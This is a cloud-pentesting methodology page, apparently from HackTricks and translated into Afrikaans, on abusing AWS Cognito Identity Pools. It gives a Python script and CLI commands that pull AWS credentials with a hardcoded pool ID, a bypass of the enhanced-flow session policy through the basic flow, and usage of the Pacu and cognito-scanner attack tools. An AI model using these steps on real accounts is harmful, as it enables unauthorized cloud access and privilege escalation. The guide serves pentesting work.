# Cognito Identity Pools {{#include ../../../../banners/hacktricks-training.md}} ## Basiese Inligting Identiteitspoele speel 'n belangrike rol deur jou gebruikers in staat te stel om **tydelike geloofsbriewe** te verkry. Hierdie geloofsbriewe is noodsaaklik om toegang te verkry tot verskeie AWS-dienste, insluitend maar nie beperk tot Amazon S3 en DynamoDB nie. 'n Opmerklike kenmerk van identiteitspoele is hul ondersteuning vir beide anonieme gasgebruikers en 'n verskeidenheid identiteitsverskaffers vir gebruikersverifikasie. Die ondersteunde identiteitsverskaffers sluit in: - Amazon Cognito gebruikerspoele - Sosiale aanmeldopsies soos Facebook, Google, Aanmeld met Amazon, en Meld aan met Apple - Verskaffers wat voldoen aan OpenID Connect (OIDC) - SAML (Security Assertion Markup Language) identiteitsverskaffers - Ontwikkelaar geverifieerde identiteite ```python # Sample code to demonstrate how to integrate an identity provider with an identity pool can be structured as follows: import boto3 # Initialize the Amazon Cognito Identity client client = boto3.client('cognito-identity') # Assume you have already created an identity pool and obtained the IdentityPoolId identity_pool_id = 'your-identity-pool-id' # Add an identity provider to the identity pool response = client.set_identity_pool_roles( IdentityPoolId=identity_pool_id, Roles={ 'authenticated': 'arn:aws:iam::AWS_ACCOUNT_ID:role/AuthenticatedRole', 'unauthenticated': 'arn:aws:iam::AWS_ACCOUNT_ID:role/UnauthenticatedRole', } ) # Print the response from AWS print(response) ``` ### Cognito Sync Om Identiteit Pool sessies te genereer, moet jy eers **'n Identiteit ID genereer**. Hierdie Identiteit ID is die **identifikasie van die sessie van daardie gebruiker**. Hierdie identifikasies kan tot 20 datasets hê wat tot 1MB van sleutel-waarde pare kan stoor. Dit is **nuttig om inligting van 'n gebruiker te hou** (wat altyd dieselfde Identiteit ID sal gebruik). Boonop is die diens **cognito-sync** die diens wat toelaat om **hierdie inligting te bestuur en te sinkroniseer** (in die datasets, inligting in strome en SNS boodskappe te stuur...). ### Tools for pentesting - [Pacu](https://github.com/RhinoSecurityLabs/pacu), die AWS eksploitering raamwerk, sluit nou die "cognito\_\_enum" en "cognito\_\_attack" modules in wat die enumerasie van alle Cognito bates in 'n rekening outomatiseer en swak konfigurasies, gebruikersattributen wat vir toegangbeheer gebruik word, ens., merk, en ook gebruikersskepping outomatiseer (insluitend MFA-ondersteuning) en privilige-eskalasie gebaseer op aanpasbare aangepaste attributen, bruikbare identiteits pool krediete, aanneembare rolle in id tokens, ens. Vir 'n beskrywing van die modules se funksies, sien deel 2 van die [blog pos](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). Vir installasie instruksies, sien die hoof [Pacu](https://github.com/RhinoSecurityLabs/pacu) bladsy. #### Usage Voorbeeld van cognito\_\_attack gebruik om te probeer om 'n gebruiker te skep en alle privesc vektore teen 'n gegewe identiteits pool en gebruikerspool kliënt: ```bash Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients 59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX ``` Voorbeeld cognito\_\_enum gebruik om al die gebruikerspoele, gebruikerspoel kliënte, identiteitspoele, gebruikers, ens. wat sigbaar is in die huidige AWS-rekening te versamel: ```bash Pacu (new:test) > run cognito__enum ``` - [Cognito Scanner](https://github.com/padok-team/cognito-scanner) is 'n CLI-gereedskap in python wat verskillende aanvalle op Cognito implementeer, insluitend ongewenste rekeningcreasie en identiteitspoel-eskalasie. #### Installasie ```bash $ pip install cognito-scanner ``` #### Gebruik ```bash $ cognito-scanner --help ``` Vir meer inligting, kyk na https://github.com/padok-team/cognito-scanner ## Toegang tot IAM Rolle ### Ongeoutentiseerde Die enigste ding wat 'n aanvaller moet weet om **AWS kredensiale** in 'n Cognito-app as 'n ongeoutentiseerde gebruiker te verkry, is die **Identiteit Pool ID**, en hierdie **ID moet hardgecodeer** wees in die web/mobiele **toepassing** sodat dit dit kan gebruik. 'n ID lyk soos volg: `eu-west-1:098e5341-8364-038d-16de-1865e435da3b` (dit is nie bruteforceerbaar nie). > [!TIP] > Die **IAM Cognito ongeoutentiseerde rol wat via geskep is, word** standaard `Cognito_Unauth_Role` genoem. As jy 'n Identiteit Pools ID hardgecodeer vind en dit ongeoutentiseerde gebruikers toelaat, kan jy AWS kredensiale verkry met: ```python import requests region = "us-east-1" id_pool_id = 'eu-west-1:098e5341-8364-038d-16de-1865e435da3b' url = f'https://cognito-identity.{region}.amazonaws.com/' headers = {"X-Amz-Target": "AWSCognitoIdentityService.GetId", "Content-Type": "application/x-amz-json-1.1"} params = {'IdentityPoolId': id_pool_id} r = requests.post(url, json=params, headers=headers) json_resp = r.json() if not "IdentityId" in json_resp: print(f"Not valid id: {id_pool_id}") exit IdentityId = r.json()["IdentityId"] params = {'IdentityId': IdentityId} headers["X-Amz-Target"] = "AWSCognitoIdentityService.GetCredentialsForIdentity" r = requests.post(url, json=params, headers=headers) print(r.json()) ``` Of jy kan die volgende **aws cli opdragte** gebruik: ```bash aws cognito-identity get-id --identity-pool-id --no-sign aws cognito-identity get-credentials-for-identity --identity-id --no-sign ``` > [!WARNING] > Let daarop dat 'n nie-geverifieerde cognito **gebruiker GEEN toestemming kan hê nie, selfs al is dit via 'n beleid toegeken**. Kyk na die volgende afdeling. ### Verbeterde vs Basiese Verifikasievloei Die vorige afdeling het die **standaard verbeterde verifikasievloei** gevolg. Hierdie vloei stel 'n **beperkende** [**sessiebeleid**](../../aws-basic-information/index.html#session-policies) in vir die IAM rol sessie wat gegenereer is. Hierdie beleid sal slegs toelaat dat die sessie [**die dienste van hierdie lys gebruik**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services) (selfs al het die rol toegang tot ander dienste). Daar is egter 'n manier om dit te omseil, as die **Identiteitspoel "Basiese (Klassieke) Vloei" geaktiveer het**, sal die gebruiker in staat wees om 'n sessie te verkry met behulp van daardie vloei wat **nie daardie beperkende sessiebeleid sal hê nie**. ```bash # Get auth ID aws cognito-identity get-id --identity-pool-id --no-sign # Get login token aws cognito-identity get-open-id-token --identity-id --no-sign # Use login token to get IAM session creds ## If you don't know the role_arn use the previous enhanced flow to get it aws sts assume-role-with-web-identity --role-arn "arn:aws:iam:::role/" --role-session-name sessionname --web-identity-token --no-sign ``` > [!WARNING] > As jy hierdie **fout** ontvang, is dit omdat die **basiese vloei nie geaktiveer is (standaard)** nie. > `Daar het 'n fout voorgekom (InvalidParameterException) toe die GetOpenIdToken operasie aangeroep is: Basiese (klassieke) vloei is nie geaktiveer nie, gebruik asseblief die verbeterde vloei.` As jy 'n stel IAM-akkrediteerings het, moet jy [kyk watter toegang jy het](../../index.html#whoami) en probeer om [privileges te verhoog](../../aws-privilege-escalation/index.html). ### Geverifieer > [!NOTE] > Onthou dat **geverifieerde gebruikers** waarskynlik **verskillende toestemmings** toegeken sal word, so as jy kan **aanmeld binne die app**, probeer dit en kry die nuwe akkrediteerings. Daar kan ook **rolle** beskikbaar wees vir **geverifieerde gebruikers wat toegang tot die Identiteitspoel** het. Hiervoor mag jy toegang tot die **identiteitsverskaffer** nodig hê. As dit 'n **Cognito Gebruikerspoel** is, kan jy dalk die standaardgedrag misbruik en **self 'n nuwe gebruiker skep**. > [!TIP] > Die **IAM Cognito geverifieerde rol wat via geskep is** word standaard `Cognito_Auth_Role` genoem. In elk geval, die **volgende voorbeeld** verwag dat jy reeds binne 'n **Cognito Gebruikerspoel** aangemeld het wat gebruik word om toegang tot die Identiteitspoel te verkry (moet nie vergeet dat ander tipes identiteitsverskaffers ook geconfigureer kan word nie).

# Opgedateerde formaat
aws cognito-identity get-id \
--identity-pool-id  \
--logins '{"cognito-idp..amazonaws.com/": ""}'

aws cognito-identity get-credentials-for-identity \
--identity-id  \
--logins '{"cognito-idp..amazonaws.com/": ""}'

aws cognito-identity get-credentials-for-identity \
--identity-id  \
--custom-role-arn  \
--logins '{"cognito-idp..amazonaws.com/": ""}'
> **Verouderde formaat** — hierdie mag dalk nie meer werk met die huidige AWS CLI nie:

aws cognito-identity get-id \
--identity-pool-id  \
--logins cognito-idp..amazonaws.com/=

aws cognito-identity get-credentials-for-identity \
--identity-id  \
--logins cognito-idp..amazonaws.com/=

aws cognito-identity get-credentials-for-identity \
--identity-id  \
--custom-role-arn  \
--logins cognito-idp..amazonaws.com/=
> [!WARNING] > Dit is moontlik om **verskillende IAM rolle te configureer afhangende van die identiteitsverskaffer** waarmee die gebruiker aangemeld is of selfs net afhangende **van die gebruiker** (met behulp van aansprake). Daarom, as jy toegang het tot verskillende gebruikers deur dieselfde of verskillende verskaffers, mag dit **die moeite werd wees om aan te meld en toegang te verkry tot die IAM rolle van al hulle**. {{#include ../../../../banners/hacktricks-training.md}}